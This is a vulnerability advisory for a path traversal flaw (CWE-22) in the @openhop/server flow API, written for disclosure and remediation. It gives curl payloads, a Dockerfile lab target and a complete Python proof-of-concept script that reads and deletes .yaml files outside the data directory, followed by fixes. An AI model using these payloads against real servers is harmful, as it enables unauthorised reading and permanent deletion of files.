CVE-2026-59179: Path Traversal
Path Traversal in Flow ID File Operations
Summary
@openhop/server passes unsanitized HTTP route parameters directly to path.join() when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary .yaml files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary .yaml files at any path reachable by the process. Because CORS is set to origin: true (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind HOST=0.0.0.0 by default, enabling direct remote exploitation. CVSS Base Score: 8.3 (High).
Details
FlowStore.filePath() in packages/server/src/store.ts:52–53 constructs a filesystem path by concatenating the caller-supplied id directly into path.join:
ts // packages/server/src/store.ts:52-53 private filePath(id: string): string { return join(this.dir, ${id}.yaml) }
This result is consumed by two sinks:
- Read (packages/server/src/store.ts:78): readFile(this.filePath(id), 'utf-8') - Delete (packages/server/src/store.ts:105): unlink(this.filePath(id))
The id value originates from unauthenticated Fastify HTTP route parameters:
- GET /api/flows/:id (packages/server/src/routes.ts:306) → store.get(id) at line 333–335 - DELETE /api/flows/:id (packages/server/src/routes.ts:509) → store.delete(id) at line 539–541
The route parameter schema at packages/server/src/routes.ts:315 and 519 declares only type: 'string' with no pattern constraint or allowlist. Fastify's underlying router (find-my-way) applies decodeURIComponent to route parameters, so the URL segment ..%2Fvictim is decoded to ../victim before it reaches application code. Node.js path.join('/data/flows', '../victim.yaml') then normalizes to /data/victim.yaml, escaping the configured data directory.
Additionally, packages/server/src/index.ts:37 registers CORS with origin: true, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.
Full data-flow (read path):
1. HTTP GET /api/flows/..%2Fvictim received (routes.ts:306) 2. find-my-way decodes ..%2Fvictim → req.params.id = '../victim' (routes.ts:333) 3. store.get('../victim') → filePath('../victim') → join('/data/flows', '../victim.yaml') → /data/victim.yaml (store.ts:52–53) 4. readFile('/data/victim.yaml', 'utf-8') returns file contents (store.ts:78) 5. Server responds HTTP 200 with YAML-parsed JSON body
Full data-flow (delete path):
1. HTTP DELETE /api/flows/..%2Fdelete-me received (routes.ts:509) 2. find-my-way decodes ..%2Fdelete-me → req.params.id = '../delete-me' (routes.ts:539) 3. store.delete('../delete-me') → filePath('../delete-me') → join('/data/flows', '../delete-me.yaml') → /data/delete-me.yaml (store.ts:52–53) 4. unlink('/data/delete-me.yaml') removes the file (store.ts:105) 5. Server responds HTTP 204
PoC
Environment setup (Docker):
bash Build from repository root docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
Run with HOST=0.0.0.0 (default in the Dockerfile ENV) docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
The container creates /data/flows/ as the configured flow store (OPENHOPDATADIR=/data/flows) and places /data/victim.yaml and /data/delete-me.yaml outside that directory as traversal targets.
Attack 1 — Read file outside flow store:
bash curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'
Expected response:
http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8
{"id":"victim","meta":{"title":"SECRETOUTSIDEFILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}
Attack 2 — Delete file outside flow store:
bash curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'
Expected response:
http HTTP/1.1 204 No Content
Verify deletion:
bash docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted' Output: deleted
Automated PoC script:
bash python3 poc.py 127.0.0.1 8799
Recommended fix:
diff --- a/packages/server/src/store.ts +++ b/packages/server/src/store.ts +const FLOWIDPATTERN = /^[A-Za-z0-9-]+$/ + private filePath(id: string): string { + if (!FLOWIDPATTERN.test(id)) { + throw new Error('Invalid flow id') + } return join(this.dir, ${id}.yaml) }
Impact
This is a Path Traversal (CWE-22) vulnerability. The .yaml file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any .yaml file the process can reach (I:H, A:H).
Affected parties:
- Users running openhop serve locally — exploitable via a malicious webpage due to cors({ origin: true }) allowing all browser origins to make cross-origin requests to localhost:8799. - Docker/server deployments — HOST=0.0.0.0 is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.
An attacker can: (1) read the contents of any .yaml file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any .yaml file accessible to the process, causing data loss or disruption of services that depend on those files.
Reproduction artifacts
Dockerfile
dockerfile Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22) Build context: the repository root (naorsabag/openhop) Usage: docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 Data layout inside the container: /data/flows/ <- OPENHOPDATADIR (the configured flow store) /data/victim.yaml <- OUTSIDE the flow store (path traversal read target) /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target) The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim", so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.
FROM node:22-alpine
WORKDIR /app
Copy package manifests so npm can resolve workspace dependency graph. COPY package.json ./ COPY packages/server/package.json packages/server/ COPY packages/shared/package.json packages/shared/ COPY packages/cli/package.json packages/cli/ COPY packages/web/package.json packages/web/
Copy TypeScript configs and source files BEFORE npm install. The @openhop/server package has a "prepare" lifecycle that runs tsc && esbuild during npm install, so all sources must be present. COPY tsconfig.base.json ./ COPY packages/server/tsconfig.json packages/server/ COPY packages/server/src/ packages/server/src/ COPY packages/shared/src/ packages/shared/src/
Install all workspace dependencies. The @openhop/server prepare script will compile to dist/server.js. We run the server via tsx (direct TypeScript), so the compiled output is not required at runtime but the prepare step must not fail. RUN npm install
Set up the data directory layout for the PoC. /data/flows/ -> configured as OPENHOPDATADIR (the "safe" directory) /data/victim.yaml -> outside the store; represents a sensitive file that MUST NOT be reachable via the API without sanitization RUN mkdir -p /data/flows && \ printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRETOUTSIDEFILE\n description: This file lives outside the configured flow store directory\n flow:\n nodes:\n - id: a\n label: Sensitive Data\n' \ > /data/victim.yaml && \ printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: DELETETARGETFILE\n flow:\n nodes:\n - id: b\n label: Delete Target\n' \ > /data/delete-me.yaml
Server listens on 8799 inside the container. EXPOSE 8799
OPENHOPDATADIR constrains the flow store to /data/flows/. HOST=0.0.0.0 makes the server reachable from outside the container. ENV OPENHOPDATADIR=/data/flows ENV HOST=0.0.0.0 ENV PORT=8799
Run the server via tsx (TypeScript runner; no compile step needed at runtime). CMD ["npx", "tsx", "packages/server/src/index.ts"]
poc.py
python #!/usr/bin/env python3 """ PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22) Target: @openhop/server 0.3.5 / openhop CLI 0.3.6 VULN-001 — CVSS 8.3 High
Vulnerability: FlowStore.filePath(id) at packages/server/src/store.ts:52 performs: return join(this.dir, ${id}.yaml) with no sanitization on id. The route GET /api/flows/:id passes req.params.id (decoded by find-my-way via decodeURIComponent) directly to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in the URL is decoded to "../victim", causing path.join to escape the configured data directory.
Attack Vectors: READ: GET /api/flows/..%2Fvictim -> reads /data/victim.yaml DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml
Both routes are unauthenticated (routes.ts:306, 509).
Usage: python3 poc.py [host] [port] python3 poc.py 127.0.0.1 8799 """
import http.client import json import sys import time
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799
URL-encoded payloads: %2F is a percent-encoded "/" character. find-my-way treats ".." and "%2F" together as a single path segment (no literal "/" split), then decodes the segment to "../victim". TRAVERSALGETPATH = "/api/flows/..%2Fvictim" TRAVERSALDELETEPATH = "/api/flows/..%2Fdelete-me"
def waitforserver(host: str, port: int, timeout: int = 60) -> bool: """Poll until the OpenHop server returns any response on /api/flows.""" deadline = time.time() + timeout print(f"[] Waiting for server at http://{host}:{port} ...") while time.time() < deadline: try: conn = http.client.HTTPConnection(host, port, timeout=2) conn.request("GET", "/api/flows") r = conn.getresponse() r.read() conn.close() print(f"[+] Server ready (HTTP {r.status} on /api/flows)") return True except Exception: time.sleep(1) return False
def rawhttp(method: str, host: str, port: int, path: str): """ Send an HTTP request with the path exactly as given — no normalization. http.client does NOT percent-decode or normalize the path string, so '..%2F' reaches the server verbatim and Fastify's router decodes it. """ conn = http.client.HTTPConnection(host, port, timeout=10) conn.request(method, path) resp = conn.getresponse() body = resp.read() conn.close() return resp.status, body
def main() -> int: print("=" 62) print("VULN-001 Path Traversal in OpenHop Flow ID File Operations") print("=" 62) print(f"[] Target : http://{HOST}:{PORT}") print(f"[] Payload : ..%2F (decoded by find-my-way to ../)") print(f"[] Store : /data/flows/ (OPENHOPDATADIR)") print(f"[] Outside : /data/victim.yaml /data/delete-me.yaml") print()
if not waitforserver(HOST, PORT): print("[-] Server did not become ready within timeout. ABORT.") return 1
print() passedread = False passeddelete = False
# ── Attack 1: Read a file outside the configured flow store ───────── print("[] Attack 1 — READ path traversal") print(f" Request : GET {TRAVERSALGETPATH}") print(f" Decoded : id = ../victim") print(f" Resolves: path.join('/data/flows', '../victim.yaml')") print(f" = /data/victim.yaml (outside flow store)")
status, body = rawhttp("GET", HOST, PORT, TRAVERSALGETPATH) bodytext = body.decode("utf-8", errors="replace")
print(f" Status : {status}") print(f" Body : {bodytext[:600]}")
if status == 200: try: data = json.loads(bodytext) title = data.get("meta", {}).get("title", "") if "SECRETOUTSIDEFILE" in title: print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml") print(f" Leaked title field = {title!r}") passedread = True else: print(f"[WARN] HTTP 200 but unexpected title: {title!r}") print(f" Full response: {data}") # Still count as read-traversal success if we got a valid flow back if "meta" in data or "flow" in data: print("[PASS] READ confirmed: path traversal returned a flow from outside store") passedread = True except json.JSONDecodeError: print(f"[FAIL] HTTP 200 but response is not JSON: {bodytext[:200]}") else: print(f"[FAIL] Expected HTTP 200, got {status}")
print()
# ── Attack 2: Delete a file outside the configured flow store ──────── print("[] Attack 2 — DELETE path traversal") print(f" Request : DELETE {TRAVERSALDELETEPATH}") print(f" Decoded : id = ../delete-me") print(f" Resolves: path.join('/data/flows', '../delete-me.yaml')") print(f" = /data/delete-me.yaml (outside flow store)")
status, body = rawhttp("DELETE", HOST, PORT, TRAVERSALDELETEPATH) bodytext = body.decode("utf-8", errors="replace")
print(f" Status : {status}") if bodytext: print(f" Body : {bodytext[:200]}")
if status in (200, 204): print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store") passeddelete = True else: print(f"[FAIL] Expected HTTP 204, got {status}")
# ── Summary ───────────────────────────────────────────────────────── print() print("=" 62) if passedread and passeddelete: print("[RESULT] PASS — Both read and delete path traversal exploited") return 0 elif passedread: print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed") return 1 else: print("[RESULT] FAIL — Exploit did not succeed") return 2
if name == "main": sys.exit(main())
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@openhop/serverto a version that resolves this vulnerability.Fixed in 0.3.6 - Configuration
In packages/server/src/store.ts, validate flow IDs against FLOW_ID_PATTERN and reject non-matching IDs by throwing Error('Invalid flow id') before using the id to build filesystem paths.
@openhop/server FLOW_ID_PATTERN = ^[A-Za-z0-9_-]+$ - Configuration
In packages/server/src/index.ts, change the Fastify CORS configuration from cors({ origin: true }) to a restrictive origin configuration (do not allow all origins) to prevent malicious web pages from making cross-origin requests to localhost:8799.
@openhop/server CORS origin = false - Compensating control
Restrict network exposure so the server is not reachable from outside the container/host (the Dockerfile ENV HOST=0.0.0.0 makes routes directly reachable). Bind to a loopback interface or limit access at the network level (firewall/port exposure) so /api/flows/:id cannot be reached by unauthenticated users.
Event History
Frequently Asked Questions
Can an attacker exploit an instance that is only bound to loopback?
Yes. Because CORS allows all origins, an attacker can use a victim's browser to send requests to a loopback-bound instance, provided the victim visits attacker-controlled content.
Are Docker deployments directly exposed by default?
Yes. Docker deployments bind HOST=0.0.0.0 by default, allowing an unauthenticated remote attacker who can reach the server to exploit the affected file operations directly.
What access does an attacker need?
No authentication is required. The attacker only needs network reachability to the server, or a victim browser able to reach a loopback-bound instance.
What is the practical impact on files?
An attacker can read and delete .yaml files outside the configured flow directory, as long as those files and paths are accessible to the OpenHop process.